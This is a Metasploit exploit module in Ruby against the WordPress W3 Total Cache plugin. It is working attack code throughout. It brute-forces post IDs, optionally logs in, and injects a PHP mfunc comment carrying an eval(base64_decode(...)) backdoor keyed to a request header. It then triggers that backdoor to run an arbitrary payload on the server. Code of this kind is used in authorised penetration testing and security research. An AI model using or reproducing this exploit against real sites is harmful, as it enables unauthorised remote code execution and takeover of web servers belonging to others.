Wordpress W3 Total Cache PHP Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wordpress W3 Total Cache PHP Code Execution',
      'Description'    => %q{
          This module exploits a PHP Code Injection vulnerability against Wordpress plugin
        W3 Total Cache for versions up to and including 0.9.2.8.  WP Super Cache 1.2 or older
        is also reported as vulnerable.  The vulnerability is due to the handling of certain
        macros such as mfunc, which allows arbitrary PHP code injection.  A valid post ID is
        needed in order to add the malicious comment.  If the POSTID option isn't specified,
        then the module will automatically bruteforce one.  Also, if anonymous comments
        aren't allowed, then a valid username and password must be provided.  In addition,
        the "A comment is held for moderation" option on Wordpress must be unchecked for
        successful exploitation.  This module has been tested against Wordpress 3.5 and
        W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
      },
      'Author'  =>
        [
          'Unknown', # Vulnerability discovery
          'juan vazquez', # Metasploit module
          'hdm', # Metasploit module
          'Christian Mehlmauer' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '92652' ],
          [ 'BID', '59316' ],
          [ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
          [ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ]
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Targets'        => [ ['Wordpress 3.5', {}] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 17 2013'
      ))

      register_options(
        [
          OptString.new('TARGETURI', [ true, "The base path to the wordpress application", "/wordpress/" ]),
          OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
          OptString.new('USERNAME', [ false,  "The user to authenticate as (anonymous if username not provided)"]),
          OptString.new('PASSWORD', [ false,  "The password to authenticate with (anonymous if password not provided)" ])
        ], self.class)
  end

  def peer
    return "#{rhost}:#{rport}"
  end

  def require_auth?
    @user = datastore['USERNAME']
    @password = datastore['PASSWORD']

    if @user and @password and not @user.empty? and not @password.empty?
      return true
    else
      return false
    end
  end

  def get_session_cookie(header)
    header.split(";").each { |cookie|
      cookie.split(" ").each { |word|
        if word =~ /(.*logged_in.*)=(.*)/
          return $1, $2
        end
      }
    }
    return nil, nil
  end

  def login
    res = send_request_cgi(
      {
        'uri' => normalize_uri(target_uri.path, "wp-login.php"),
        'method' => 'POST',
        'vars_post' => {
          'log' => @user,
          'pwd' => @password
        }
      })

    if res and res.code == 302 and res.headers['Set-Cookie']
      return get_session_cookie(res.headers['Set-Cookie'])
    else
      return nil, nil
    end

  end

  def check_post_id(uri)
    options = {
      'method' => 'GET',
      'uri'    => uri
    }
    options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
    res = send_request_cgi(options)
    if res and res.code == 200 and res.body =~ /form.*action.*wp-comments-post.php/
      return true
    elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
      location = URI(res.headers["Location"])
      uri = location.path
      uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
      return check_post_id(uri)
    end
    return false
  end

  def find_post_id
    (1..1000).each{|id|
      vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
      res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
      return id if res
    }
    return nil
  end

  def post_comment
    php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"

    vars_post = {
      'comment' => php_payload,
      'submit' => 'Post+Comment',
      'comment_post_ID' => "#{@post_id}",
      'comment_parent' => "0"
    }
    vars_post.merge!({
      'author' => rand_text_alpha(8),
      'email' => "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
      'url' => rand_text_alpha(8),
    }) unless @auth

    options = {
      'uri' => normalize_uri(target_uri.path, "wp-comments-post.php"),
      'method' => 'POST'
    }
    options.merge!({'vars_post' => vars_post})
    options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth

    res = send_request_cgi(options)
    if res and res.code == 302
      location = URI(res.headers["Location"])
      uri = location.path
      uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
      return uri
    else
      return nil
    end
  end

  def exploit

    @auth = require_auth?

    if @auth
      print_status("#{peer} - Trying to login...")
      @cookie_name, @cookie_value = login
      if @cookie_name.nil? or @cookie_value.nil?
        fail_with(Exploit::Failure::NoAccess, "#{peer} - Login wasn't successful")
      end
    else
      print_status("#{peer} - Trying unauthenticated exploitation...")
    end

    if datastore['POSTID'] and datastore['POSTID'] != 0
      @post_id = datastore['POSTID']
      print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
    else
      print_status("#{peer} - Trying to brute force a valid POST ID...")
      @post_id = find_post_id
      if @post_id.nil?
        fail_with(Exploit::Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
      else
        print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
      end
    end

    random_test = rand_text_alpha(64)
    @sum = Rex::Text.sha1(random_test)

    print_status("#{peer} - Injecting the PHP Code in a comment...")
    post_uri = post_comment
    if post_uri.nil?
      fail_with(Exploit::Failure::Unknown, "#{peer} - Expected redirection not returned")
    end

    print_status("#{peer} - Executing the payload...")
    options = {
      'method' => 'GET',
      'uri'    => post_uri,
      'headers' => {
        'Cmd' => Rex::Text.encode_base64(payload.encoded),
        'Sum' => random_test
      }
    }
    options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
    res = send_request_cgi(options)
    if res and res.code == 301
      fail_with(Exploit::Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
    end
  end

  def check
    res = send_request_cgi ({
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    })

    if res.nil?
      return Exploit::CheckCode::Unknown
    end

    if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
      version = $1
      if version <= "0.9.2.8"
        return Exploit::CheckCode::Vulnerable
      else
        return Exploit::CheckCode::Safe
      end
    end

    if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Unknown

  end
end